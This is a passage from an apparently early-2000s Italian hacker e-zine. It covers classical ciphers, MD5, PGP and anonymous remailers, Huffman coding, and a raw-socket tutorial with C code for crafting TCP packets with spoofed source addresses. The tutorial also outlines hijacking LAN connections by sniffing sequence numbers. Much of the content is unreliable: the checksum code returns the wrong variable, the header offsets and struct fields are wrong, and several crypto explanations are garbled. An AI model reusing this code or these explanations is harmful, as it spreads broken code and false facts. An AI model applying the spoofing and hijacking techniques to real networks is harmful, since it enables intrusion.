mittente e un destinatario ma praticamente illegibili a terze persone occhi
indiscreti :).Il mittente crittografa il messaggio tramite delle chiavi che
sono in possesso anche del destinatario in modo che quest'ultimo possa
decifrarlo. Nella crittografia la codifica viene costruita in modo che il
processo di decodifica possa essere attuato solo se si e' in possesso della
chiave traduttrice. La crittografia e' in realte' una branca di una scienza
piu' ampia: la crittologia, che oltre a comprendere la crittografia stessa,
comprende anche la crittoanalisi (analisi di cio che e' nascosto) che si
occupa di analizzare i dati di una trasmissione crittografata in modo da
poterli intercettare e cercare di tradurli, la crittoanalisi verrà analizzata
successivamente. Gli algoritmi di crittografia possono essere classificati
sotto due principali categorie riguardanti il tipo di chiave utilizzata:
simmetrici (chiave segreta), asimmetrici (chiave pubblica). Ho gia' spiegato
qulcosina nell volume Connessioni crittate Ssh (2volumi). Chiariremo stavolta
L'algoritmo informatico e le chiavi! in modo piu specifico.
Negli algoritmi a chiave simmetrica, la chiave utilizzata nel processo di
decodificazione e codificazione e' la stessa; negli algoritmi a chiave
asimmetrica invece ci sono due tipi di chiavi, una privata in mano solo al
mittente dei messaggi, e una pubblica che resa a disposizione di tutti
permette di decifrare i messaggi crittografati con la chiave privata, ma non
permette di crearli, quindi mette in evidenza l'autenticità del mittente. Gli
algoritmi simmetrici e asimmetrici possono esistere entrambi per esempio con
la chiave pubblica viene codificata una chiave di crittografia generata
casualmente, e quest'ultima e' utilizzata per crittografare il messaggio
utlizzando un algoritmo simmetrico, questa e' per esempio l'implementazione
del PGP (Pretti Good Privacy).
Quindi e' intuitivo il fatto che ci siano piu' sistemi di crittazioni..Infatti
il metodo di crittazione dei messaggi, cioè il portare un messaggio da testo
in chiaro a testo crittografato e' basato su una chiave che rappresenta una
funzione, e un buon algoritmo di crittazione.Noi analizzeremo tre di esse che
vanno sotto il nome di :

-Sostituzione

E' l'agoritmo piu (demenziale=) di tutti! Consiste nel sostituire ogni lettera
o un gruppo di lettere da altre lettere contenute nell'alfabeto:

Si danno quindi 2 schemi confrontabili : alfabeto normale: A B C D E F G
H I J K L M N O P Q R S T U V W X Y Z
alfabeto cifrato: D E F G H I J
K L M N O P Q R S T U V W X Y Z A B C

Testo in chiaro: CIAO
Testo crittografato: FLDR

Questo esempio e' molto semplice esistono comunque metodi di sostituzione
piu' complicati. Un po' assomiglia all'algoritmo di Cesare :) Ke mi fu
spiegato dal mio vecchio amico anetrip! Chissa' se vanno bene i tuoi esami In
bocca al lupo!!! In pratica ,ritornando a noi, si tratta di publicare la
tavola ascii ed assegnare ad ogni lettera e carattere il suo successore!
(molto facile da costruire in vb)!


-Trasposizione

La trasposizione e' un altra tecnica usata per crittografare un messaggio,
analizziamo adesso la trasposizione per colonna che data una certa chiave,
costruisce il testo cifrato in base al riordinamento del testo sulle colonne
della chiave, facciamo un esempio per chiarire il concetto:



Prendiamo una chiave qualsiasi : chiave = BOOKS
Prendiamo un messaggio in chiaro msg = ciao sei un grandissimo geysha!
(ehhehe)

Ora creiamo la tabella:

B O O K S

c i a o s
e i u n g
r a n d i
s s i m o
g a y s h
a !


di questa tabella si prendono le colonne in ordine alfabetico basate sulle
lettere delle chiavi, in questo caso prima la colonna B poi K poi le colonne
con due O e infine la colonna con la lettera S.Infine avremo:

testo in chiaro : ciao sei un grandissimo gaysha!
testo crittografato : cersga ondms iiasa! sgioh

chiave: BOOKS

Fighissimo,vero??? A me piace molto!!

-One-time pads

L'algoritmo di questa tecnica e' il seguente:

-Si sceglie una stringa casuale di bit che rappresenta la mia chiave.
-Successivamente di trasforma il testo in chiaro in bit.
-Si effettua l'operazione logica di or esclusivo tra la chiave e il testo
tradotto in bit e si ottiene cosi il testo crittografato.


Naturalmente questa tecnica presenta degli inconvenienti che vanno dalla
presenza della chiave sia nella macchina del mittente e del destinatario,
dalla quantita' di dati che puo' essere trasmessa, dipendente dalla lunghezza
della chiave visto che l'operazione dell'or esclusivo deve essere fatta tra
testo e chiave e infine dalla sensibilita' di perdita dei dati visto che si
lavora con singoli bit. Le tecniche sia della sostituzione sia della
trasposizione vengono riprodotte attraverso circuiti elettronici noti come
P-box (P sta ad indicare permutazione) nel caso di trasposizione, e S-box nel
caso di sostituzione, questi circuiti vengono in generale chiamati Product
cipher, lo standard per la creazione di questi circuiti vanno sotto il nome
DES.

(Sembra un casino ma ora ve lo spiego a quattrocchi=)

In pratice e' una chiave non molto flessibile i quali bit possono variare .La
stringa quindi viene trasformata in Bit .

Stringa mia--->bit Or esclusuivo (non inclusivo,badate bene (o l'uno o
l'altro)) Key=Figa Bit =XX Testo= Fxixxgxa. Quindi:
Testo= Fxixxgxa Or Key=Figa (Non e' facilissimo ma...)

Ora ci divulgheremo un po su MD5 PGP quindi le funzioni HASH ! Chi sara' mai
costui? Le funzioni hash sono funzioni particolari che permettono di dare un
impronta digitale che identifica univocamente il messaggio di partenza; sono
quindi funzioni che creano una stringa associata al messaggio da spedire e per
il quale una volta applicata la funzione non dovrebbe essere più possibile
ritornare al testo originale. Un esempio di funzione hash che distribuisce in
modo abbastanza uniforme le chiavi, è quella di prendere un grande numero
primo M, e per ogni chiave k , la funzione H(k) = k mod M, questo tipo di
funzione viene usata in molti ambienti di sviluppo! Come anche il c! Un
esempio sui sistemi Linux può essere dato dall'algoritmo md5 che dato un file
come opzione, crea una chiave hash a 128 bit.

MD5 come i precedenti, E' stato ideato da Ron Rivest della RSA Data Security.
e' nato per sostituire MD4 che sta per essere violato!
Non cambia molto sulla struttura, è solo un'estensione del suddetto anche se
un po' piu' lento.
MD5 e' disponibile liberamente a: ftp://ftp.funet.fi:/pub/crypt/hash/mds/md5

Non ho mai usato MD5 ma ho trovato un pratico esempio

bash-2.01$ md5sum source.gif
aa7229830893b7b30bb0cf23a9fa5abc source.gif

il risultato viene espresso con 16 cifre esadecimali. Riassumendo le due più
importanti caratteristiche che legano le funzioni hash alla crittografia
abbiamo, prima la verifica dell'integrità di un certo messaggio, confrontando
l'impronta digitale di partenza con quella di arrivo. Un po' come One Times!

Ho trovato alcume proprieta':

MD5:
*il testo e' diviso in blocchi 512 bit.
*viene generato un hash di 128 bit.
*E' basto su XOR e operazioni logiche (collegate all'assembly)
*unico svantaggio e' che e' un po' piu' lento del precedente.

Ora non vi resta che' approfondire sulla funxzione delle chiavi col client Ssh
! Fin qui e' tutto chiaro? Bene ora non ci resta che parlare del Pgp!
Pretty good privacy esiste pure in win in pratica si compone in Asimmetrica e
Simmetrica serve per inviare messaggi crittati! (logico?!?) www.pgpi.com
I remailers non fanno altro che reindirizzare la nostra posta quindi la
lettera arrivera' al remailer che a sua volta lo rimandera' a lol@tin.it,
adesso per coprire un po' di piu' il vostro messaggio potete crittarlo col
PGP. I remailser sono di tipo 0 e 1 se mi ricordo bene..
Di tipo 0 : ogni volta che mandate ad uno di questi remailer (per esempio:
anon@anon.penet.fi) loro vi forniscono un ID casuale e strippano le
informazioni
nell'header sostituendole con questo ID . L'header della posta e' quella roba
che potete ricavarne facendo proprieta' alla mail!
remailer CypherPunk (detti di Tipo 1) sono estremamente piu' sicuri dei
precedenti per il semplice fatto che ci premettonp di crittare la posta
,abbiamo la possibilita' di concatenare piu' remailer tra loro . Possiamo
usare il pgp!
Questa e' una prova di come dovete spedire una mail crittata (crittate il
messaggio con il programma 6 o superiore con Text Output):

Encrypted: PGP
-----BEGIN PGP MESSAGE-----
Version: PGPfreeware 6.0.2i

hQCMA98tceHEP7bpAQP/aIgwnTmh73X0M1KTMRXLtOeG8qCm1ejQwBTXnJ7NJrS3
qsY4GZTyHmy86U17XRay1nM2GC6eCv81EuZsejQolG4P7kxTX1Ywl2PuPceZPQ3m
JkEbhcNNXIgXqWkc1p/ahb9AnJ08hdi9J+FBcjiI5wUDffaOOSNkOuUoKPhjKTyk
kybbDH8B9GWNd0ruHxQDESWqFDlI2c3naYyxyErH8Kww3NbPjCYcZ07UfxE7LEr9
/gU2hPvOYpj49h6Nm3rRVlS9Kqve9Yr5D6PNxbsP1ege4CMO7uJXG0+r+PdEhZ1R
3CbQOlDANpsmhFVzbxN3bHB/CLFzVg16QrFceYPsO4OZpENAU0Eb3tYv1LRlGn2U
lIhzdQ==
=D7/d
-----END PGP MESSAGE-----

la stringa Encrypted:PGP che serve a dire al remailer che gli state mandando
un messaggio crittato ovviamente dovete mettere nel campo A: l'indirizzo del
vostro remailer. Oppure vari destinatari criptati con il distacco dei ":".
::
Request-Remailing-To: Cannabis@legalizzazione.com
::
Request-Remailing-To: Sburro@lol.it
::
Request-Remailing-To: figa@marja.it
::

------------------------------------------------------------------------------------------------------------------------------------------------------------

+----------------------------------+
|2) Ultime delucidazioni! |
+----------------------------------+

Alla fine l'abbiam fatto! Che mal di testa! Yuhu domani e'SanValentino..si
tromba (sese...) cmq vi e' piaciuto st tute? Se si mandate la somma di 10 euro
all'indirizzo ... heheh .Bene apparte gli scherzi non e' ancora finito! Ora vi
parlero' in grandi linee della crittografia!

Crittografia

Vediamo ora in dettaglio quelli che sono gli elementi che costituiscono la
base su cui si poggia la crittografia, partendo da quello considerato da tutti
fondamentale: il cifrario.

Cifrario

Il termine cifrario indica il procedimento utilizzato per ottenere il testo
cifrato partendo dal testo in chiaro. Esistono innumerevoli tipologie di
cifrari e nel nostro caso, sarebbe sicuramente na rottura di palle vederle
tutte, quindi, ho pensato di sviluppare l'argomento in modo tale da poter
consentire un analisi approfondita di un semplice algoritmo crittografico
quale il DES. Non mi soffermero' quindi su tutte le varianti dei vari cifrari
ma esclusivamente su quelle necessarie per raggiungere l'obbiettivo appena
esposto.

Iniziamo vedendo il cifrario piu'semplice, quello a blocchi.

I binari vengono divisi in blocchi di lunghezza fissa a cui viene applicata in
sequenza la trasformazione della chiave.

In pratica esempiucci:

TESTO IN CHIARO [BLOCCO BINARIO] [BLOCCO BINARIO] > [TESTO CIFRATO]

oSSIa:

lol e' il testo originario!

c1 (lol) ;applicazione cifriario c1

c2(c1 (lol) ;prodotto dei cifrari

Chissa' perche' in matematica ho 2! :) Ora sapete molto! Chiavi ,algoritmi,
crittazione, remailer ,proxy, gatway,ip mask ,programmazione,wingate..

-End 0f 2^nD B0ok-


e4m
Tezkatlipoka@libero.it
Www.bfc.too.it
wWW.e4m.linuX-duDe.cOm


|----------------------------------------------------|
|Art. N° <21> : "Security Info 2002 vol.Bonus" di e4m|
|----------------------------------------------------|


+-----------------------+-----+
|1) Huffman Cifrature | e4m |
+-----------------------+-----+

Questo vulume non era stato stabilito! Ma cio' pensato e Huffman mi ha
salvato! Posso descrivervi un grandissimo algoritmo!.. Codificare un testo
significa sostituire ciascuna parola (o carattere) del testo originario con la
corrispondente parola di codice presente nella tabella del codice. Un codice
e' univocamente decodificabile se e possibile decodificare ogni carattere del
testo in input in modo univoco. Nell'ambito dei codici univocamente
decodificabili e' possibile riconoscere i codici prefissi. Un codice e'
prefisso se e' possibile decodificare correttamente una parola di codice non
appena essa e' riconosciuta nel testo codificato T, poiché nessuna parola di
codice è prefisso di un'altra parola di codice. In generale una parola W e'
prefisso di un'altra parola W' se W' = Wa. Di seguito e' mostrato un esempio
di codice prefisso a lunghezza variabile

Carattere Parola codice
A 00
B 01
C 10
D 110
E 111

Se il testo codificato e' T = 0001111, allora scorrendo T si riconosce
dapprima il carattere A, quindi, il carattere B ed infine il carattere E, per
cui il testo decodificato sara' ABE. Una codifica, d'altronde, e' una regola
che associa ad ogni carattere (o parola) del testo una parola di codice.
Supponiamo di avere a che fare con un testo su di un file: ogni carattere
viene rappresentato da una stringa di 8 bit, quindi se riuscissimo a
codificare un carattere utilizzando meno di otto bit, sarebbe possibile
diminuire lo spazio occupato dal testo originale. Utilizzando i concetti di
entropia e ridondanza e' stato possibile sviluppare algoritmi capaci di
risalire alla codifica di un carattere, conoscendone il numero di occorrenza
in un dato testo in modo tale da ridurre la taglia complessiva del testo
stesso. Ho trovato un algoritmo (proposto da C. Shannon e R. M. Fano) che e'
in grado di trovare questa scringe e comprimere. Ecco la procedura di
creazione del codice che ho trovato!:

ShannonFanoCode(L)

if |L| == 1 then
return 0
if |L| >= 2 then
"dividere L in due sottoliste L1 ed L2 , considerando le coppie
nell'ordine in cui si presentano in L1 , in modo tale che la differenza tra
(x,n) n e (x,n) n sia minima"

"aggiungere uno 0 alla parola di codice wx per tutti i caratteri x : (x,n)
L1"

"aggiungere uno 1 alla parola di codice wx per tutti i caratteri x : (x,n)
L2"

if |L1| == 1 then
return wx
else
ShannonFanoCode(L1)
if |L2| == 1 then
return wx
else
ShannonFanoCode(L2)

Vi faccio vedere ora cosa centra Huffman . L'albero di Huffman e' costruito
cosi': (tenete in mente sempre la tabella Carattere-parola codice)

Carattere Codifica
A 0
B 100
C 101
D 110
E 111

Non sono un artista ma ci provero'..

+------+ 39
0 / +
/ |1
/ |
15 A |
+- 24 -+
/ \
/ \
/ \
13 11
0 / \ 1 0 / \ 1
/ \ / \
B C D E
7 6 6 5

Corrisponde alla tabella vero? :) Quindi abbiamo visto come l'algoritmo di
Huffman esegua una compressione dati! Non vado avanti perche dovrei parlare di
Sibling! Bhe non so nulla! In pratica e' una proprieta' che gode un binario!
Ma non c'interessa!

+-----------------------+-----+
|3) Chiudere in bellezza| e4m |
+-----------------------+-----+

Ci avete capito qualcosa?Io no! uhuh,Comunque l'importante e' che vi sia
piaciuto! Con l'ausilio del mio amichetto sla! Si effettivamente lo ho un po
sfruttato Thz :* .. eheh
Ora e' finito finalmete! Ringrazio nuovamente slash per il suo programma e il
suo tocco di basic con l'anonimita'! Vi auguro una buona hakerata (anonimi!!)
Consumo: -Un cesso-mp3-pettine-dublo-slash- !
Chiudere in bellezza? Sisi ..
Vi spiego come funziona il MIme e un altra botta sul Pgp! Felici?
La differenza fondamentale tra i due sistemi e' che mentre il primo utilizza
una gestione "utente-centrica" delle chiavi pubbliche (il cosidetto web of
trust), il secondo impiega una struttura gerarchica di certificazione (le
Certification Authorities o CA). Ma non ce ne frega piu di tanto!
Ora c'e' da capire una cosa che prima ho mancato. I certificati! Che servono
per verificare l'identita' dei corrispondenti: tra le altre informazioni
contengono la loro chiave pubblica e sono firmati da un agente di cui le parti
si fidano e che garantisce in questo modo la loro identita'. Questo agente
viene detto Certificate Authority (CA). In genere i certificati dovrebbero
seguire lo standard X.509. (ho letto da una parte!)
PGP Pretty Good Privacy (PGP) e' un programma di crittografia a chiave
pubblica che utilizza RSA, IDEA e MD5 per firmare e crittografare i messaggi.
Si basa su due RFC:
PGP Message Exchange Formats,
MIME Security with Pretty Good Privacy.
S/MIME S/MIME (Secure/Multipurpose Internet Mail Extensions) e' una proposta
di standard per la crittografazione e firma dei messaggi di posta elettronica.
Utilizza RSA, RC2 e MD5 La versione 2 e' descritta in due documenti:
S/MIME Version 2 Message Specification.
S/MIME Version 2 Certificate Handling.

Credo di essere stato esaudiente alla prossima Byez!!!



e4m
Tezkatlipoka@libero.it
Www.bfc.too.it
wWW.e4m.linuX-duDe.cOm



|---------------------------------------------------------|
|Art. N° <22> : "Raw socket e pacchetti TCP/IP" di N'eM Sy|
|---------------------------------------------------------|

*********************************
** **
** Breve Guida ai Raw socket **
** ed ai pacchetti TCP/IP **
** **
********************************* scritta da N'eM Sy
web http://napolihak.da.ru
email nemesy.it@tiscalinet.it
irc: irc.webmaster.com #napolihak


------------
Introduzione
------------
Ciao a tutti. Tanto per iniziare voglio spiegare i motivi per cui
ho voluto scrivere questo tutorial sui raw socket. I raw socket
permettono di gestire manualmente i pacchetti che inviamo su una
rete (anche in locale, sulla loopback device). In pratica, di solito,
quando ci connettiamo ad Internet il kernel impacchetta i dati che
l'applicazione, diciamo un browser, vuole vengano inviati e aggiunge
delle informazioni relative alla nostra macchina. Ad esempio aggiunge
quale e' l'ip sorgente del pacchetto, a quale ip e' destinato il
pacchetto, a quale porta questo e' destinato ed altre informazioni
che vedremo in seguito. Con i raw socket (e qualche opzione particolare)
tutto questo lavoro sara' fatto da noi. E' uno sporco lavoro, ma qualcuno
deve pur farlo!
Beh, spero che alla fine questa guida risulti utile a molti... almeno
a coloro che vogliono (cominciare a) capire come funzionano le reti
,internet in particolare, e vogliono divertirsi :)
Naturalmente tutte queste informazioni le ho acquisite cercando in rete
documenti a riguardo, non e' che una mattina mi sono svegliato e mi
sono accorto di sapere qualcosa sui socket! Fate lo stesso.

Conoscenze di base

Se volete capire questa guida e i sorgenti contenuti dovete avere un
minimo di conoscenza del C. Poi, se magari avete gia' usato i socket
tanto di guadagnato. Dovete avere pero' un minimo di dimestichezza con
i socket e su come i byte sono ordinati al loro interno (host byte order
e network byte order).
Comunque, credo che la maggior parte di voi capira' subito il tutto,
anche perche' non e' niente di particolare.



-------------
Cosa ci serve
-------------
Visto che andremo a vedere come si costruiscono pacchetti TCP/IP
abbiamo bisogno di due strutture che ci permettano di mantenere
tutte le informazioni necessarie. Queste due strutture sono:
struct iphdr e struct tcphdr. Le trovate negli header file ip.h e
tcp.h (dovete includere <netinet/ip.h> e <netinet/tcp.h>).
Andiamo a vedere cosa contengono queste due strutture.

struct iphdr {
unsigned int ihl:4; // :4 indica che il membro e' composto
// di 4 bits
unsigned int version:4;
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
};

ihl (IpHeaderLength) Lunghezza dell'header ip in parole da 32 bit. Se ha
valore 5 significa che e' lungo 5*4 byte. Il
valore del campo ihl deve essere posto diverso da 5
solo nel caso in cui l'header contiene opzioni.
Di solito questo e' fatto solo dai router.
version Versione del protocollo. Deve essere posto sempre
uguale a 4 (non serve a niente metterlo a 6 perche'
la struttura dell'header IPv6 e' differente).
tos (TypeOfService) Controlla la priorita' del pacchetto. I primi
tre bit sono interpretati dai router, gli altri
4 indicano la priorita' relativa al tipo di
servizio richiesto: il primo di questi indica il
Delay, il secondo Throughput, il terzo Reliability
il quarto Cost.
tot_len Lunghezza dell'intero pacchetto. Questo valore deve
tener conto dell'header ip, di quello tcp (o icmp o
udp) e dei dati aggiuntivi accodati al pacchetto.
id Viene usato per riassemblare il pacchetto IP in caso
di frammentazione.
frag_off Viene usato per riassemblare il datagrammi frammentati
I primi tre bit sono le flag di framme

  
ntazione. Il
primo di questi bit e' sempre posto a zero. Il secondo
indica che non e' stato frammentato, il terzo invece
il contrario. Per settare queste flag e' sufficiente
fare un OR con il valore esadecimale (per la don't
fragment flag frag_off |= 0x4000, per la fragment
flag frag_off |= 0x2000). Il valore di ip.frag_off
deve essere espresso in NetworkByteOrder, con la
funzione htonl(unsigned long int).
ttl (TimeToLive) Ad ogni passaggio attraverso un nodo questo valore
e' decrementato di una unita'. Quindi piu' alto e'
piu' lontano potra' arrivare. Il valore massimo e'
255.
protocol Indica il protocollo contenuto nel pacchetto ip.
TCP = 0x06, UDP = 0x11, ICMP = 0x01
check Checksum. E' un valore calcolato all'invio. Ogni
volta che il contenuto all'interno dell'intero
pacchetto viene modificato deve essere ricalcolato.
saddr Indirizzo sorgente del pacchetto :)
daddr Indirizzo destinatario del pacchetto.

Il protocollo IP di per se non garantisce che il pacchetto arrivi a
destinazione. Il TCP e' il protocollo piu' utizzato e garantisce un
meccanismo per stabilire una connessione affidabile e un'autenticazione.

struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
u_int16_t window;
u_int16_t check;
u_int16_t urg_ptr;
};

source Porta sorgente.
dest Porta destinataria.
seq Numero di sequenza
ack_seq Acknowledgment number.
doff Data offset
fin Final. La connessione deve essere chiusa.
La controparte deve rispondere con un altro
pacchetto anch'esso con la flag fin settata.
syn Synchronization. Questa flag indica che si
vuole inizare una nuova connessione.
rst Reset. La connessione e' stata chiusa.
psh Push. Il pacchetto non sara' trattenuto dallo
stack IP ma giungera' direttamente alla
applicazione (usato per pacchetti contenenti
dati).
ack Acknowledegment. Usato per avvertire la
controparte che il pacchetto precedente e' stato
ricevuto correttamente.
urg Urgent. il pacchetto sara' instradato piu'
velocemente dai router.
window Quantita' di dati che si possono inviare prima
di ottenere una risposta con un ACK
check Checksum. E' un valore calcolato all'invio. Ogni
volta che il contenuto all'interno dell'intero
pacchetto viene modificato deve essere
ricalcolato. Serve al ricevente per controllare
l'integrita' del pacchetto.
urg_ptr Urgent pointer. Se la flag urg non e' selezionata
deve essere uguale a zero, altrimenti punta
alla fine dei dati che devono essere inviati
con priorita'.

----------------
Un po' di codice
----------------
Beh... direte voi! Ora che ci facciamo con tutta sta roba. Semplice,
possiamo fare un programma che invii pacchetti spoofati o con qualsiasi
altra opzione vogliamo. Il codice che trovate sotto e' estratto da
Sacket, un tool GTK per creare pacchetti TCP/IP. Lo trovate sempre su
http://napolihak.da.ru


-------------------->-<---init_packet--->-<-----------------------------

char *init_packet (struct iphdr *ip, struct tcphdr *tcp) {

char *sacket;
int spoof;

/* Allochiamo un puntatore a vettore di char che contenga il tutto */
sacket = calloc (1, sizeof (struct iphdr) + sizeof (struct tcphdr));
ip = (struct iphdr *) sacket;
tcp = (struct tcphdr *) (sacket + sizeof (struct tcphdr));


ip->version = 4;
/* Ip header lenght */
ip->ihl = 5;
/* TypeOfService */
ip->tos = 0;

/* L'unsigned short integer frag_off e' utilizzato nel seguente modo:
* (L'ordine dei bit e' dal piu' significativo a quello meno, cioe'
* da sinistra a destra in pratica :) )
* 1° sempre uguale a 0
* 2° don't fragment: il pacchetto non e' stato frammentato quando e'
* stato inviato.
* 3° more fragments following: il pacchetto e' stato frammentato.
* 4°-16° l'offset del pacchetto ossia il numero d'ordine del frammento.
*
* Se volete che i pacchetti abbiano tutti la flag don't fragment settata
* definite DNT_FRAGMENT (#define FRAGMENT).
* Se volete che i pacchetti abbiano la flag more fragments following
* settata definite FRAGMENT (#define DNT_FRAGMENT).
*
*/


#ifdef DNT_FRAGMENT
/* settiamo la flag don't-fragment con 0x4000 */
ip->frag_off |= 0x4000;
/* frag_off deve essere espresso in network bite order */
ip->frag_off = htons (ip->frag_off);
#endif

#ifdef FRAGMENT
/* settiamo la flag don't-fragment con 0x2000 */
ip->frag_off |= 0x2000;
/* frag_off deve essere espresso in network bite order */
ip->frag_off = htons (ip->frag_off);
#endif

#ifndef FRAGMENT
#ifndef DNT_FRAGMENT
ip->frag_off |= 0x0000;
#endif
#endif

ip->ttl |= 255;
/* Il pacchetto viene inviato a noi stessi.
* La funzione inet_addr non consente di usare l'ip
* 255.255.255.255, visto che 255.255.255.255 convertito
* in unsigned long e' -1, lo stesso valore che la funzione
* restituisce per gli errori. Se sapete di dover utilizzare
* l'ip 255.255.255.255 usate la funzione inet_aton
*/

ip->daddr = inet_addr ("127.0.0.1");
ip->protocol = IPPROTO_TCP; // TCP = 0x06
// UDP = 0x11
// ICMP = 0x01

/* Porta di destinazione */
tcp->dest = htons (8080);
tcp->seq = inet_addr ("127.90.255.78");
tcp->ack_seq = inet_addr ("200.10.90.79");
tcp->urg = 0;
tcp->ack = 1;
tcp->psh = 1;
tcp->rst = 0;
tcp->syn = 0;
tcp->fin = 0;
tcp->window = 0;

return sacket;
}

---------------------->-<---fine sorgente--->-<---------------------------

La funzione init_pack crea un pacchetto con un settaggio base. Alcune
cose, tipo tcp->ack e ip->daddr le ho inserite solo per far vedere
come si gestiscono i vari campi degli header. Molto semplice, vero?
init_pack restituisce un puntatore a char contenente il pacchetto
inizializzato. Le strutture tcp e ip sono passate per puntatore visto
che dovranno essere riutilizzate in seguito.



--------------------->-<---sendsacket--->-<-----------------------------

int sendsacket (struct iphdr *ip, struct tcphdr *tcp, char *sacket) {

struct sockaddr_in to;
int pack_size = sizeof (struct iphdr) + sizeof (struct tcphdr);
int fd, ja = 1;

/* Lunghezza totale del pacchetto espressa in network byte order */
ip->tot_len = htons (pack_size);
ip->id = getpid ();
if (!spoof)
ip->saddr = htonl (INADDR_ANY);
ip->check = in_chksum (( u_short *)&ip, sizeof (struct iphdr));

tcp->source = getpid ();
tcp->check = in_chksum ((u_short *)&ip, sizeof (struct tcphdr));


to.sin_port = 0;
to.sin_family = AF_INET;
to.sin_addr.s_addr = ip->daddr;

if ((fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
return -2;
}

/* Con la macro IP_HDRINCL avvertiamo il kernel che il pacchetto
* contiene gia' l'header IP. Se non facessimo cosi il kernel
* aggiungerebbe di suo un altro header IP.
*/

if (setsockopt (fd, IPPROTO_IP, IP_HDRINCL, &ja, sizeof (ja)) < 0)
return -1;


return (sendto (fd, sacket, pack_size, 0, (struct sockaddr*)&to,
sizeof (struct sockaddr)));
}

---------------------->-<---fine sorgente--->-<---------------------------

La funzione invia il pacchetto cosi come e' stato settato (da
qualcun'altra funzione).
La funzione ritorna un intero. Se questo e' positivo l'invio
ha avuto buon esito e il numero ritornato rappresenta il
numero di bytes inviati. Se la funzione ritorna -2 c'e'
stato un errore nella creazione del socket, probabilmente
dovuto a problemi di privilegi (bisogna essere root).
Tutti gli altri valori negativi indicano un errore generico.


u_short in_chksum (u_short *addr, int len) {

int nleft = len , sum = 0;
u_short *w = addr;
u_short value = 0;

while (nleft > 1) {
sum += *w++;
nleft -=2;
}

if (nleft == 1) {
*(u_char *)(&value) = *(u_char *)w;
sum += value;
}

sum = (sum >> 16) + (sum + 0xffff);
sum += (sum >> 16);
answer = ~sum;

return (value);
}

Funzione per il calcolo del checksum.



---------------------
Considerazioni finali
---------------------
Dovete tenere presente che modificando l'ip sorgente del pacchetto
non e' comunque possibile stabilire una connessione TCP.
Lo chiarisco per quelli di voi che gia' stavano saltando dalla gioia
pensando di poter finalmente invia email anonime, o giocare
brutti scherzi :) Devo dire la verita', pure io ero tra voi :D
Va bene, chiarito tutto spiego perche' non e' possibile. Non e' possibile
perche' il protocollo TCP impone un handshake iniziale. In questa
fase il client che richiede la connessione setta il campo seq del
header tcp con un numero random, il campo ack_seq uguale a zero e la
flag SYN uguale a 1. Quando il server riceve questo pacchetto risponde
con il campo ack_seq contenente un valore random e con le flag ACK e SYN
settate, dopo di che il client risponde con la flag ACK settata. Il campo
ack_seq settato a zero impedisce di creare facilmente connessioni tcp
spoofate. Dico facilmente perche' nei kernel 2.2.17 (mi pare fossero
i .17) c'era un bug che permetteva di predire l'ack_seq che il kernel
avrebbe utilizzato. Ricordate che tutto questo vale solo per il TCP.
L'UDP e l'ICMP non hanno queste caratteristiche quindi usando l'UDP
magari potete creare un modo anonimo di comunicare con altri. Basterebbe
comunicarsi inizialmente gli indirizzi reali e poi comunicare tramite
pacchetti UDP con sorgente spoofato.
Ah, dimenticavo di dirvi una cosa che ri-rendera' felicissimi quelli di
voi che stanno in una LAN. Ricordate che non e' possibile spoofare una
connessione TCP completa a causa del ack_seq del server? Beh, se fosse
possibile sapere qual'e' questo numero allora il gioco sarebbe fatto.
Se siamo in Internet con una connessione dialup (con un modem, in
pratica) non possiamo vedere qual'e' perche' a noi arriveranno
solamente i pacchetti che hanno noi come destinazione. Ma se siamo
in una LAN, eheh, tutto cambia! Se mettiamo la scheda ethernet in
modalita' promiscua, possiamo vedere tutto il traffico che ci
attraversa. In questo modo per vedere l'ack_seq number che il
server usera' in risposta ad un nostro pacchetto spoofato bastera'
usare come indirizzo spoofato quello di un computer i cui pacchetti
passano attraverso la nostra scheda. Pero' la risposta al pacchetto
inviato dal server dovra' essere il piu' veloce possibile per impedire
che il vero destinatario del pacchetto risponda con la flag RST
chiudendoci cosi la connessione in faccia :(

Cos'altro dirvi? Esplorate, leggetevi i sorgenti del kernel o di
qualsiasi altra cosa vi capiti tra le mani. Il "free software" e' bello
proprio per questo, per la possibilita' di accrescere le nostre
conoscenze che da ad ognuno di noi. Bisogna solo cercare e imparare,
cercare e imparare, cercare e imparare...
N'eM Sy (nemesy.it@tiscalinet.it)
for napolihak.da.ru

Allego la mia chiave pubblica per chi di voi non solo mi volesse
scrivere, ma addirittura con lo voglia fare con pgp.

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP 6.5.8

mQEPAzvtfsUAAAEIAK/XtUG0jmS981V+uqgAd5xXnPQMi07mWXb++3TV5z+8mt4g
6SENRv97gLX0LbYbYOANB6+Clg0n/5ikNDxnCm6w+tHvKm9MMH5F1Tylr0HFz4Jo
LvvMLgtG3yc8QuzrtpuPZ6hdvnZ7z2HNb/kQqoHIh7xqmD+XmbLt9lVsY0I1AT6b
SeNzB5ets+wuBx10kRn2KOtu6mEPC1dXTBAVh+guF+nWF16mYZi6IHRr9kI2Z0jn
hF0H5zHUkg9hZwJz3ck7gHOkzOiJ7BU7H0K+vDK5lUc8P4N3WFYU8Jfd4g/T3TK5
8SJEwb11dsB89jfwbqd0ygO7w1SwCVa9+1y/88UAEQEAAbQgbmVtIGl0IDxuZW1l
c3kuaXRAdGlzY2FsaW5ldC5pdD6JARUDBRA77X7FCVa9+1y/88UBAWkgB/9+nIPm
tQMATzbm3sNOHXtax6nTh8HEA2+XpV1GXEuF/UTSslq6oTXEONHQ6I3BTILMKYqq
GTy/li6kRozq05P54fOYNcs3W8XcmxvsWilUQs9uiVdCuOW3kBI2goh0o9rnKx8w
N6sUlxLfRJwO90CN0Iy8TvzDlbjqqJHRqyFNR3x5LpsmaLUFC5XnEjeeIp+lgJO/
kD27FHT3dtdayGz0q2q18k1ggHaSisc+MlOFWuavP4tGdEcpFFC6kt8Z++7KV9ln
